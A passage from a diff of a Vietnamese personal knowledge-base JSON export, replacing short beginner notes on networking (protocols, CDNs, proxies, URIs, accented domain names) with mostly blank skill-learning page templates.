"[[ImageMagick]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "dV" + "id": "hI" }, { - "Tiêu đề": "Protocol là cách để các bên nhận và gửi dữ liệu hiểu nhau", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/Protocol là cách để các bên nhận và gửi dữ liệu hiểu nhau", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Vẽ minh họa", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Thiết kế, nghệ thuật/Vẽ minh họa", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ![What is a Protocol? (Deepdive) - YouTube](https://www.youtube.com/watch?v=d-zn-wv4Di8)\r\n\r\nMột trong những protocol phổ biến nhất là HTTP. [[HTTP là ngôn ngữ để trình duyệt và webserver nói chuyện với nhau]].\r\n\r\n![Top 8 Most Popular Network Protocols Explained - YouTube](https://www.youtube.com/watch?v=P6SZLcGE4us)", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "dW" + "id": "hJ" }, { - "Tiêu đề": "Apache, Nginx là những web server phổ biến", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Máy chủ/Apache, Nginx là những web server phổ biến", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Việc dịch không giúp học tiếng Anh nhiều", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Tiếng Anh, ngoại ngữ/Hiểu biết sâu/Việc dịch không giúp học tiếng Anh nhiều", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "dX" + "Ngày tạo": "2024-03-14T18:39:00.000Z", + "Ngày cập nhật": "2024-09-09T13:36:00.000Z", + "id": "hK" }, { - "Tiêu đề": "CDN tạo ra điểm truy cập gần nhất dựa vào vị trí địa lý của người dùng, để thời gian tải web không chịu ảnh hưởng bởi việc nó được đặt ở đâu", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Máy chủ/CDN tạo ra điểm truy cập gần nhất dựa vào vị trí địa lý của người dùng, để thời gian tải web không chịu ảnh hưởng bởi việc nó được đặt ở đâu", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Học từ vựng", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Tiếng Anh, ngoại ngữ/Học từ vựng", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![What\\_is\\_a\\_CDN.png](https://cdn.shopify.com/s/files/1/0070/7032/files/What_is_a_CDN.png?v=1677446022)\r\nNguồn:: [CDN là gì? Giải thích tường tận về Content Delivery Network](https://www.hostinger.vn/huong-dan/cdn-la-gi)", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "dY" + "id": "hL" }, { - "Tiêu đề": "Cloudflare đóng vai trò là một proxy và CDN", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Máy chủ/Cloudflare đóng vai trò là một proxy và CDN", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Nghe", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Tiếng Anh, ngoại ngữ/Nghe", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Proxy làm trung gian để client lấy dữ liệu từ server]] \r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "dZ" + "id": "hM" }, { - "Tiêu đề": "CNAME là", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Máy chủ/CNAME là", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Phát âm", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Tiếng Anh, ngoại ngữ/Phát âm", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "da" + "id": "hN" }, { - "Tiêu đề": "Cpanel là", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Máy chủ/Cpanel là", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Tiếng Anh, ngoại ngữ", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Tiếng Anh, ngoại ngữ", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\r\n", + "Toàn bộ nội dung": "Mô tả::\r\n# Đầu vào\r\n- [ ] Tìm hiểu về SRS\r\n# Đầu ra\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "db" + "id": "hO" }, { - "Tiêu đề": "Edge là sự kết hợp giữa CDN và serverless", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Máy chủ/Edge là sự kết hợp giữa CDN và serverless", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Cắm trại, đi rừng", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Ξ Khác/Cắm trại, đi rừng", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- [[Serverless là loại server tự khởi động mỗi lần có người truy cập thay vì luôn trực sẵn chờ người truy cập]] \r\n- [[CDN tạo ra điểm truy cập gần nhất dựa vào vị trí địa lý của người dùng, để thời gian tải web không chịu ảnh hưởng bởi việc nó được đặt ở đâu]]\r\n\r\n![[cdn-and-serverless.png]]\r\nNguồn:: [The Future of the Web is on the Edge](https://deno.com/blog/the-future-of-web-is-on-the-edge \"The Future of the Web is on the Edge\")", + "Toàn bộ nội dung": "> [!NOTE]- Nội dung cho trang này còn thiếu\r\n> ## Nếu bạn cần học kỹ năng này\r\n> ```button\r\n> name Tìm người sẵn sàng chia sẻ\r\n> id shareOnDiscord\r\n> ```\r\n> ```button\r\n> id kiemtrengoogle\r\n> action https://www.google.com/search?q=kỹ%20năng%20Cắm%20trại,%20đi%20rừng\r\n> ```\r\n> ```button\r\n> name Kiếm trên Google (PDF) \r\n> id kiemtrengoogle\r\n> action https://www.google.com/search?q=type:pdf%20kỹ%20năng%20Cắm%20trại,%20đi%20rừng\r\n> ```\r\n> ```button\r\n> id kiemtrenyoutube\r\n> action https://www.youtube.com/search?q=Cắm%20trại,%20đi%20rừng\r\n> ```\r\n> Xem thêm: [[Kỹ năng rèn luyện kỹ năng (kỹ năng meta)]]\r\n> ## Nếu bạn sẵn sàng chia sẻ, hỗ trợ người cần học kỹ năng này\r\n> ```button\r\n> name Thông báo cho mọi người sự sẵn sàng của bạn\r\n> id shareOnDiscord\r\n> ```\r\n> ```button\r\n> name Chọn lọc nội dung hay\r\n> id kiemtrengoogle\r\n> action https://www.google.com/search?q=type:pdf%20kỹ%20năngCắm%20trại,%20đi%20rừng\r\n> ```\r\n\r\n\r\nMô tả::\r\n# Mức độ thành thạo\r\n# Thử thách\r\n# Khu trưng bày\r\n# Lợi ích có được từ việc thành thạo\r\n# Tài liệu\r\n## Kỹ năng liên quan\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "dc" + "id": "hP" }, { - "Tiêu đề": "Proxy làm trung gian để client lấy dữ liệu từ server", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Máy chủ/Proxy làm trung gian để client lấy dữ liệu từ server", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Kinh doanh", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Ξ Khác/Kinh doanh", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Server là phần mềm cung cấp dữ liệu cho phần mềm khác. Client là phần mềm đòi hỏi phần mềm khác cung cấp dữ liệu cho mình]]\r\n![[Proxy ẩn danh.png]]![[Proxy không ẩn danh 1.png]]\r\n[Chỉnh sửa ảnh](https://excalidraw.com/#room=ec7cc710214023c06b29,qx0qBHz9z0NRygjLrrTetQ)", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "dd" + "id": "hQ" }, { - "Tiêu đề": "Reverse proxy chủ yếu bảo vệ server. Forward proxy chủ yếu bảo vệ client", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Máy chủ/Reverse proxy chủ yếu bảo vệ server. Forward proxy chủ yếu bảo vệ client", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Kỹ năng rèn luyện kỹ năng (kỹ năng meta)", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Ξ Khác/Kỹ năng rèn luyện kỹ năng (kỹ năng meta)", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Proxy làm trung gian để client lấy dữ liệu từ server]]\r\n[[Server là phần mềm cung cấp dữ liệu cho phần mềm khác. Client là phần mềm đòi hỏi phần mềm khác cung cấp dữ liệu cho mình]]\r\nNguồn:: [Proxy server - Wikipedia](https://en.wikipedia.org/wiki/Proxy_server)", + "Toàn bộ nội dung": "# Thử thách\n- [ ] Hiểu được [những điều kiện để ta thành thạo một kỹ năng](https://www.youtube.com/watch?v=5eW6Eagr9XA) \n- [ ] [[Tìm người sẵn sàng giúp mình rèn kỹ năng]]\n- [ ] [[Tìm tài liệu]]\n# Mức độ thành thạo\n# Tài liệu\n\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "de" + "id": "hR" }, { - "Tiêu đề": "Server là phần mềm cung cấp dữ liệu cho phần mềm khác. Client là phần mềm đòi hỏi phần mềm khác cung cấp dữ liệu cho mình", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Máy chủ/Server là phần mềm cung cấp dữ liệu cho phần mềm khác. Client là phần mềm đòi hỏi phần mềm khác cung cấp dữ liệu cho mình", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Tìm người sẵn sàng giúp mình rèn kỹ năng", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Ξ Khác/Kỹ năng rèn luyện kỹ năng (kỹ năng meta)/Tìm người sẵn sàng giúp mình rèn kỹ năng", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "TCP chỉ là một trong những cách để truyền dữ liệu phổ biến. [Giao tiếp giữa các process (Inter-process communication (IPC))](https://stream-hub.com/ipc-la-gi/ \"IPC là gì và cách định thời multi process\") cũng là một cách khác\r\nNguồn:: ![What is a Server? (Deepdive) - YouTube](https://www.youtube.com/watch?v=VXmvM2QtuMU&t=1s)\r\n\r\n[[Protocol là cách để các bên nhận và gửi dữ liệu hiểu nhau]]\r\n[[Request là thứ client gửi cho server. Response là thứ server gửi cho client]]", + "Toàn bộ nội dung": "Có 2 vấn đề trong việc này: không biết người muốn giúp mình ở đâu, và tìm được rồi thì họ cũng quá bận\n\nCó thể bắt đầu bằng việc tìm các cộng đồng\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "df" + "id": "hS" }, { - "Tiêu đề": "Serverless là loại server tự khởi động mỗi lần có người truy cập thay vì luôn trực sẵn chờ người truy cập", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Máy chủ/Serverless là loại server tự khởi động mỗi lần có người truy cập thay vì luôn trực sẵn chờ người truy cập", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Làm cha mẹ", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Ξ Khác/Làm cha mẹ", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [The Future of the Web is on the Edge](https://deno.com/blog/the-future-of-web-is-on-the-edge \"The Future of the Web is on the Edge\")\r\n[Một bài viết chi tiết hơn về Serverless](https://2coffee.dev/bai-viet/mot-bai-viet-chi-tiet-hon-ve-serverless)", + "Toàn bộ nội dung": "> [!NOTE]- Nội dung cho trang này còn thiếu\r\n> ## Nếu bạn cần học kỹ năng này\r\n> ```button\r\n> name Tìm người sẵn sàng chia sẻ\r\n> id discordhotrovault\r\n> ```\r\n> ```button\r\n> id kiemtrengoogle\r\n> action https://www.google.com/search?q=20kỹ%20năng%20Làm%20cha%20mẹ\r\n> ```\r\n> ```button\r\n> name Kiếm trên Google (PDF) \r\n> id kiemtrengoogle\r\n> action https://www.google.com/search?q=type:pdf%20kỹ%20năng%20Làm%20cha%20mẹ\r\n> ```\r\n> ```button\r\n> id kiemtrenyoutube\r\n> action https://www.youtube.com/search?q=%20Làm%20cha%20mẹ\r\n> ```\r\n> Xem thêm: [[Kỹ năng rèn luyện kỹ năng (kỹ năng meta)]]\r\n> ## Nếu bạn sẵn sàng chia sẻ, hỗ trợ người cần học kỹ năng này\r\n> ```button\r\n> name Thông báo cho mọi người sự sẵn sàng của bạn\r\n> id discordhotrovault\r\n> ```\r\n> ```button\r\n> name Chọn lọc nội dung hay\r\n> id kiemtrengoogle\r\n> action https://www.google.com/search?q=type:pdf%20kỹ%20năng%20Làm%20cha%20mẹ\r\n> ```\r\n\r\n\r\nMô tả::\r\n# Mức độ thành thạo\r\n# Thử thách\r\n# Khu trưng bày\r\n# Tài liệu\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "dg" + "id": "hT" }, { - "Tiêu đề": "127.0.0.1 và localhost là một", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Tên miền, URI/127.0.0.1 và localhost là một", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Nấu ăn", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Ξ Khác/Nấu ăn", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Con số 127.0.0.1 được thể hiện cụ thể là: \r\n- 127 là số cuối cùng của mạng lớp A có Mặt nạ mạng con có giá trị 255.0.0.0 .\r\n- 127.0.0.1 là địa chỉ có thể gán đầu tiên trong mạng con vì không thể sử dụng 127.0.0.0.\r\n\r\nTóm lại 127.0.0.1 là địa chỉ nội bộ của máy tính cho mạng IPv4, là địa chỉ mạng bên trong của chính máy tính. Nếu bạn cài đặt một dịch vụ mạng trên máy tính của mình, như hệ thống máy chủ web, thì địa chỉ nội bộ luôn là 127.0.0.1.\r\n\r\nNguồn:: [Điều khác biệt giữa 127.0.0.1 và Localhost là gì? - TOTOLINK Việt Nam](https://www.totolink.vn/article/170-dieu-khac-biet-giua-127-0-0-1-va-localhost-la-gi.html)", + "Toàn bộ nội dung": "> [!NOTE]- Nội dung cho trang này còn thiếu\r\n> ## Nếu bạn cần học kỹ năng này\r\n> ```button\r\n> name Tìm người sẵn sàng chia sẻ\r\n> id shareOnDiscord\r\n> ```\r\n> ```button\r\n> id kiemtrengoogle\r\n> action https://www.google.com/search?q=kỹ%20năng%20Nấu%20ăn\r\n> ```\r\n> ```button\r\n> name Kiếm trên Google (PDF) \r\n> id kiemtrengoogle\r\n> action https://www.google.com/search?q=type:pdf%20kỹ%20năng%20Nấu%20ăn\r\n> ```\r\n> ```button\r\n> id kiemtrenyoutube\r\n> action https://www.youtube.com/search?q=Nấu%20ăn\r\n> ```\r\n> Xem thêm: [[Kỹ năng rèn luyện kỹ năng (kỹ năng meta)]]\r\n> ## Nếu bạn sẵn sàng chia sẻ, hỗ trợ người cần học kỹ năng này\r\n> ```button\r\n> name Thông báo cho mọi người sự sẵn sàng của bạn\r\n> id shareOnDiscord\r\n> ```\r\n> ```button\r\n> name Chọn lọc nội dung hay\r\n> id kiemtrengoogle\r\n> action https://www.google.com/search?q=type:pdf%20kỹ%20năngNấu%20ăn\r\n> ```\r\n\r\n\r\nMô tả::\r\n# Mức độ thành thạo\r\n# Thử thách\r\n# Khu trưng bày\r\n# Lợi ích có được từ việc thành thạo\r\n# Tài liệu\r\n## Kỹ năng liên quan\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "dh" + "id": "hU" }, { - "Tiêu đề": "Mọi URL đều là URI", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Tên miền, URI/Mọi URL đều là URI", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Sống bền vững", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Ξ Khác/Sống bền vững", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```\r\n userinfo host port\r\n ┌──┴───┐ ┌──────┴──────┐ ┌┴─┐\r\n https://john.doe@www.example.com:1234/forum/questions/?tag=networking&order=newest#top\r\n └─┬─┘ └─────────────┬─────────────┘└───────┬───────┘ └────────────┬────────────┘ └┬┘\r\n scheme authority path query fragment\r\n userinfo host port\r\n ┌──┴───┐ ┌──────┴──────┐ ┌┴─┐\r\n https://john.doe@www.example.com:1234/forum/questions/?tag=networking&order=newest#:~:text=whatever\r\n └─┬─┘ └─────────────┬─────────────┘└───────┬───────┘ └────────────┬────────────┘ └───────┬───────┘\r\n scheme authority path query fragment\r\n\r\n ldap://[2001:db8::7]/c=GB?objectClass?one\r\n └┬─┘ └─────┬─────┘└─┬─┘ └──────┬──────┘\r\n scheme authority path query\r\n\r\n mailto:John.Doe@example.com\r\n └─┬──┘ └────┬─────────────┘\r\n scheme path\r\n\r\n news:comp.infosystems.www.servers.unix\r\n └┬─┘ └─────────────┬─────────────────┘\r\n scheme path\r\n\r\n tel:+1-816-555-1212\r\n └┬┘ └──────┬──────┘\r\n scheme path\r\n\r\n telnet://192.0.2.16:80/\r\n └─┬──┘ └─────┬─────┘│\r\n scheme authority path\r\n\r\n urn:oasis:names:specification:docbook:dtd:xml:4.1.2\r\n └┬┘ └──────────────────────┬──────────────────────┘\r\n scheme path\r\n```\r\nNguồn:: [Uniform Resource Identifier - Wikipedia](https://en.wikipedia.org/wiki/Uniform_Resource_Identifier)", + "Toàn bộ nội dung": "- [ ] Không dùng đồ nhựa một lần\r\n- [ ] DIY\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "di" + "id": "hV" }, { - "Tiêu đề": "Origin là sự kết hợp của protocol, hostname và port", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Tên miền, URI/Origin là sự kết hợp của protocol, hostname và port", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Dùng vít răng thưa, cưa răng thưa cho đồ gỗ", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Ξ Khác/Sửa chữa đồ gia dụng/Dùng vít răng thưa, cưa răng thưa cho đồ gỗ", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![[origin.png]]\r\nNguồn:: [[MDN]], [Location - Web APIs | MDN](https://developer.mozilla.org/en-US/docs/Web/API/Location)\r\n[[Protocol là cách để các bên nhận và gửi dữ liệu hiểu nhau]]\r\n[[Port là số hiệu của chương trình cụ thể được nhận gói tin]]", + "Toàn bộ nội dung": "Nguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "dj" + "Ngày cập nhật": "2024-01-08T13:32:00.000Z", + "id": "hW" }, { - "Tiêu đề": "Port là số hiệu của chương trình cụ thể được nhận gói tin", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Tên miền, URI/Port là số hiệu của chương trình cụ thể được nhận gói tin", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Sửa xe máy", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Ξ Khác/Sửa xe máy", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ![Computer Networking (Deepdive) - YouTube](https://youtu.be/6G14NrjekLQ?si=AjtXaTmaV0pMQFIu)\r\n![What is a Protocol? (Deepdive) - YouTube](https://www.youtube.com/watch?v=d-zn-wv4Di8)\r\n\r\nDefine on which Port Advanced Slides should run. The default Port is `3000`. Changing the port can be useful if you operate multiple vaults and both have Advanced Slides plugin installed.", + "Toàn bộ nội dung": "> [!NOTE]- Nội dung cho trang này còn thiếu\r\n> ## Nếu bạn cần học kỹ năng này\r\n> ```button\r\n> name Tìm người sẵn sàng chia sẻ\r\n> id shareOnDiscord\r\n> ```\r\n> ```button\r\n> id kiemtrengoogle\r\n> action https://www.google.com/search?q=kỹ%20năng%20Sửa%20xe%20máy\r\n> ```\r\n> ```button\r\n> name Kiếm trên Google (PDF) \r\n> id kiemtrengoogle\r\n> action https://www.google.com/search?q=type:pdf%20kỹ%20năng%20Sửa%20xe%20máy\r\n> ```\r\n> ```button\r\n> id kiemtrenyoutube\r\n> action https://www.youtube.com/search?q=Sửa%20xe%20máy\r\n> ```\r\n> Xem thêm: [[Kỹ năng rèn luyện kỹ năng (kỹ năng meta)]]\r\n> ## Nếu bạn sẵn sàng chia sẻ, hỗ trợ người cần học kỹ năng này\r\n> ```button\r\n> name Thông báo cho mọi người sự sẵn sàng của bạn\r\n> id shareOnDiscord\r\n> ```\r\n> ```button\r\n> name Chọn lọc nội dung hay\r\n> id kiemtrengoogle\r\n> action https://www.google.com/search?q=type:pdf%20kỹ%20năngSửa%20xe%20máy\r\n> ```\r\n\r\n\r\nMô tả::\r\n# Mức độ thành thạo\r\n# Thử thách\r\n# Khu trưng bày\r\n# Lợi ích có được từ việc thành thạo\r\n# Tài liệu\r\n## Kỹ năng liên quan\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "dk" + "id": "hX" }, { - "Tiêu đề": "Tên miền có dấu được", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Tên miền, URI/Tên miền có dấu được", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Chơi nhạc", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Ξ Khác/Trình diễn/Chơi nhạc", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tên miền mà cũng có thể có dấu ư? Nói thiệt là cái này nhiều người hỏi lắm. Nhiều người chắc vẫn nghĩ là tên miền thì bắt buộc phải là không dấu. Nhưng tên miền có dấu (hay nói chính xác hơn là tên miền có ký tự Unicode) đã được triển khai từ năm 2010 rồi. Thậm chí emoji còn có thể dùng cho tên miền được luôn. Có hẳn một trang web thống kê các tên miền dùng emoji trong tên miền luôn: [i❤️.ws](https://xn--i-7iq.ws/)\r\n\r\nCòn tại sao website này dùng tên miền có dấu? Lý do đơn giản là vì đọc chữ có dấu vẫn thích hơn chữ không dấu chứ. Nó cũng giống như việc ai cũng nói được tiếng Anh cả, nhưng được nói tiếng Việt là một điều sung sướng vậy. Việc dùng nó cũng có ưu điểm là tạo được ấn tượng ban đầu mạnh (chắc là với nhiều người đây là lần đầu tiên họ biết là tên miền cũng có thể có dấu). Và miễn là bài viết có chất lượng thì những nhược điểm của nó sẽ thành không quá lớn.\r\n\r\n## Nhược điểm của tên miền có dấu\r\n- Khó gõ\r\n- Nhìn link punnycode trông quái dị, có khi còn giống spam hơn\r\n- Rắc rối kỹ thuật\r\n\r\n### Khó gõ\r\nQuả đúng là muốn gõ ra đúng Quảcầu.com với bàn phím telex thì cũng hơi rắc rối. Phải gõ \"quả cầu.com\" có dấu cách xong quay lại xóa dấu cách. Với những ai dùng bàn phím điện thoại thì mất công hơn.\r\n\r\nCách khắc phục:\r\n\r\n- Google \"quả cầu.com\" rồi click vào link.\r\n- Trên máy tính thì có thể gõ dấu cách rồi quay lại xoá dấu cách, hoặc bấm ctrl + → sau mỗi chữ để ngắt hẳn việc bỏ dấu trước khi qua chữ mới\r\n- Tạo một tên miền không dấu rồi chuyển hướng sang tên miền chính. Ví dụ như bạn có thể vào quacau.space/home để vào Quảcầu.com.\r\n\r\nNhưng thực ra bây giờ chủ yếu lượt truy cập là thông qua chia sẻ trên Facebook chứ cũng ít ai gõ trực tiếp. Nếu ai phải gõ trực tiếp thì họ cũng đã có đủ động lực để vào rồi. Hơn nữa, sau khi đã truy cập được một lần rồi thì thì địa chỉ sẽ được lưu trong lịch sử trình duyệt và sẽ tự động được gợi ý lại sau khi nhập hai ký tự đầu.\r\n\r\n### Nhìn link punnycode trông quái dị, có khi còn giống spam hơn\r\nKhi chia sẻ trên Facebook, tên miền thay vì hiện là Quảcầu.com sẽ hiện là xn--qucu-hr5aza.com (với Google thì tên miền vẫn hiển thị đúng, không thành vấn đề). Lý do Facebook không hiển thị đúng tên miền là vì vấn đề an toàn. Do có những ký tự ở các bảng chữ cái khác nhau khá giống nhau, nên hacker có thể lợi dụng điều này để làm website giả mạo. Ví dụ như chữ ι (iota) trong bảng chữ cái Hy Lạp khá giống chữ i, chữ ο (omicron) thì giống y chang chữ o, chữ  ν (nu) thì giống y chang chữ v, nên nếu đọc không kỹ có thể bấm vào. Bạn nào quan tâm thì có thể đọc về [IDN homograph attack](https://en.wikipedia.org/wiki/IDN_homograph_attack).\r\n\r\nCách khắc phục: cũng là tạo tên miền không dấu rồi chuyển hướng sang tên miền chính.\r\n\r\n### Rắc rối kỹ thuật\r\nVẫn còn những chỗ không hỗ trợ triệt để ký tự có dấu. Cái này thì đúng là chịu. Nhưng kỹ thuật được sinh ra là để phục vụ người dùng, nếu có thể hy sinh thêm một tí cho trải nghiệm người dùng thì tại sao lại không làm?\r\n\r\nAi sử dụng tên miền có dấu với đuôi .vn thì sẽ được miễn phí 20k. Thông tin chi tiết xem tại [Trung Tâm Internet Việt Nam (VNNIC)](https://vnnic.vn/tenmientiengviet), Bộ Thông tin và Truyền thông.\r\n\r\n[[Sự khác biệt giữa Windows và Android, Mac trong 